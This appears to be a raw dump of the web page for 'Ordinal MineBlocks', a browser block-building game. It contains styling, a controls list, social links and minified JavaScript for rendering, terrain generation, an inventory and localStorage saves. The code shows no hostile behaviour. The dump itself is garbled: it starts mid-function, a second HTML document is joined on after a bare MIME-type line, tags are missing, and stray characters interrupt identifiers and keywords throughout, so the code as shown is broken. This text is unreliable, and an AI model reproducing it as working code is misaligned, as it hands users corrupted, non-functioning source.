ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
